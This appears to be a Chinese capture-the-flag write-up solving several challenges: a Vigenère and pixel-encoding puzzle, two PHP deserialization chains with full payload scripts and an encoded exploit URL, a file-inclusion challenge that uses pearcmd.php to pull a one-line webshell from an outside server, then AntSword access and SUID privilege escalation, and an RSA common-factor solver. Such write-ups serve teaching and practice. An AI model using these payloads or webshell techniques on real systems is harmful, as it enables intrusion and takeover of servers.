ciphey一把梭,caser13加base32
首先打开压缩包,有个文档和另外一个压缩包,大致看一眼猜测是词频分析,然后拿到quip和维吉尼亚的网站都跑一边,最后通过维吉尼亚拿到密码
GWHT@R1nd0yyds
打开里面发现是个bmp文件,里面全是像素点,比赛公告给出了这个图片的生成脚本如下
from PIL import Image
import math
def encode(text):
str_len = len(text)
width = math.ceil(str_len ** 0.5)
im = Image.new("RGB", (width, width), 0x0)
print(width)
x, y = 0, 0
for i in text:
index = ord(i)
rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
im.putpixel((x, y), rgb)
if x == width - 1:
x = 0
y += 1
else:
x += 1
return im
if __name__ == '__main__':
with open("829962.txt", encoding="gbk") as f:
all_text = f.read()
im = encode(all_text)
im.save("out.bmp")
直接写出解密脚本
# -*- coding: utf-8 -*-
# @Time : 2022/9/3 22:48
# @Author : pysnow
from PIL import Image
im = Image.open('out.bmp')
def decode(enc):
a, b = enc[1], enc[2]
text = int((a << 8) & 0xFF00) + (b & 0xFF)
return chr(text).encode('gbk')
f = open('1.txt', 'ab')
width, height = im.size
for j in range(0, width):
for i in range(0, height):
tmp = im.getpixel((i, j))
index = decode(tmp)
f.write(index)
print(index, end='')
# print(i, j)
# print('')
f.close()
得到一篇非常长的文章,然后标题里面有个单独的f,进行查找单个的字母发现刚好可以构成flag关键词,然后就是经过我的人工肉眼观察,最终提取出了flag如下
flag{h1d3_1n_th3_p1ctur3}
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
非常简单的反序列化,这里有两个点需要绕过
其中第一个问题可以通过Fun类对象的call_user_func回调函数进行静态调用任意A类的任意方法
第二个问题可以通过破坏序列化数据结构,让无法正常反序列化,从而先执行__call方法
第三个问题可以利用第二问题的解法
参考资料:https://blog.csdn.net/jvkyvly/article/details/120479559
最后给出payload如下
class Fun{
private $func = 'call_user_func_array';
}
class Test{
}
class A{
public $a;
}
class B{
public $p;
}
// --------------------------------------------------------------------------
$fun1 = new Fun();
$a1 = new A();
$b1 = new B();
$test = new Test();
// --------------------------------------------------------------------------
$a1->a = $fun1;
$b1->a = $a1;
$b1->p = "Test::getFlag";
$final = urlencode(serialize($b1));
echo $final;
http://80.endpoint-e4ff305483b8474b9bf968f8b0008452.dasc.buuoj.cn:81/?pop=O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A13%3A%22Test%3A%3AgetFlag%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A20%3A%22call_user_func_array%22%3B%7D%7D
题目:
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}
这里过滤了很多符号,但是由于是使用的$_SERVER["QUERY_STRING"]
来检测,所以就可以直接用url编码绕过
使用python起了一个文件下载的服务,构造一个文件地址如下
http://vps:8000/pysnow%26file%3D/usr/local/lib/php/pearcmd.php
其中pearcmd的内容为一句话木马
然后构造payload如下
?file+download+http://vps:8000/pysnow&file=/usr/local/lib/php/pearcmd.php
// 过滤了pear关键词,索性直接把file=后面全部url编码
?file+download+http://vps:8000/pysnow&file=%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%70%65%61%72%63%6d%64%2e%70%68%70
文件下载成功,提示文件目录位置在/var/www/html/pysnow&file=%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%70%65%61%72%63%6d%64%2e%70%68%70
因为这里下载的文件名就是编码后的文件名,所以这里要再次urlencode编码一下,不然浏览器会解析这个文件名中的url编码部分
?file=%70%79%73%6e%6f%77%26%66%69%6c%65%3d%25%32%66%25%37%35%25%37%33%25%37%32%25%32%66%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%32%66%25%36%63%25%36%39%25%36%32%25%32%66%25%37%30%25%36%38%25%37%30%25%32%66%25%37%30%25%36%35%25%36%31%25%37%32%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30
蚁剑连接后这里可以看到有很多其他师傅们的战绩啊,这也是这道题的非预期解,直接扫描目录,然后骑别人的马
最后使用date进行suid提权
题目:
error_reporting(0);
class yang
{
public $y1;
public function __construct()
{
$this->y1->magic();
}
public function __tostring()
{
($this->y1)();
}
public function hint()
{
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}
class cheng
{
public $c1;
public function __wakeup()
{
$this->c1->flag = 'flag';
}
public function __invoke()
{
$this->c1->hint();
}
}
class bei
{
public $b1;
public $b2;
public function __set($k1,$k2)
{
print $this->b1;
}
public function __call($n1,$n2)
{
echo $this->b1;
}
}
if (isset($_POST['ans'])) {
unserialize($_POST['ans']);
} else {
highlight_file(__FILE__);
}
?>
这道题很有迷惑题,当拿到这道题的时候,我就被这个hint方法给吸引住了,然后花了一分钟就把链子给写了出来,但是发现这个hey_mean_then
绕过太狠了,简单的fuzz了一下,大概这种
/var|www|html|flag|host|data|decode|string|rot13|<|>|http|phar|"|'|[0-9]|/is
根本无从下手,想不出咋绕过,也不能读hint文件内容,因为var关键词被过滤了
然后当我再一次来看这道题的时候,我重新看了一下这个反序列化链子,发现有一个任意方法调用的地方
之前我是直接让$this->y1
的值为cheng类对象,进而拿到hint方法,脑瘫了,直接让他的值为hint不就行了。而且这里很显然是应该赋值给phpinfo
结果发现flag就在环境变量李,giao
payload:
class yang
{
public $y1;
}
class cheng
{
public $c1;
}
class bei
{
public $b1;
public $b2;
}
$y = new yang();
$y1 = new yang();
$ch = new cheng();
$ch2 = new cheng();
$bei = new bei();
// $ch2 -> c1 = $y1;
$y->y1 = "phpinfo";
$bei->b1 = $y;
$ch->c1 = $bei;
$final = serialize($ch);
echo $final;
import gmpy2
from Crypto.Util.number import *
e = 65537
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
f = open("output.txt", "r")
a = f.readlines()
n = []
for i in a:
n.append(int(i))
for i in range(len(n)):
j = len(n) - i - 1
p = gmpy2.gcd(n[j], n[j - 1])
q = n[j] // p
ph = (p - 1) * (q - 1)
d = gmpy2.invert(e, ph)
c = gmpy2.powmod(c, d, n[j])
print(long_to_bytes(c))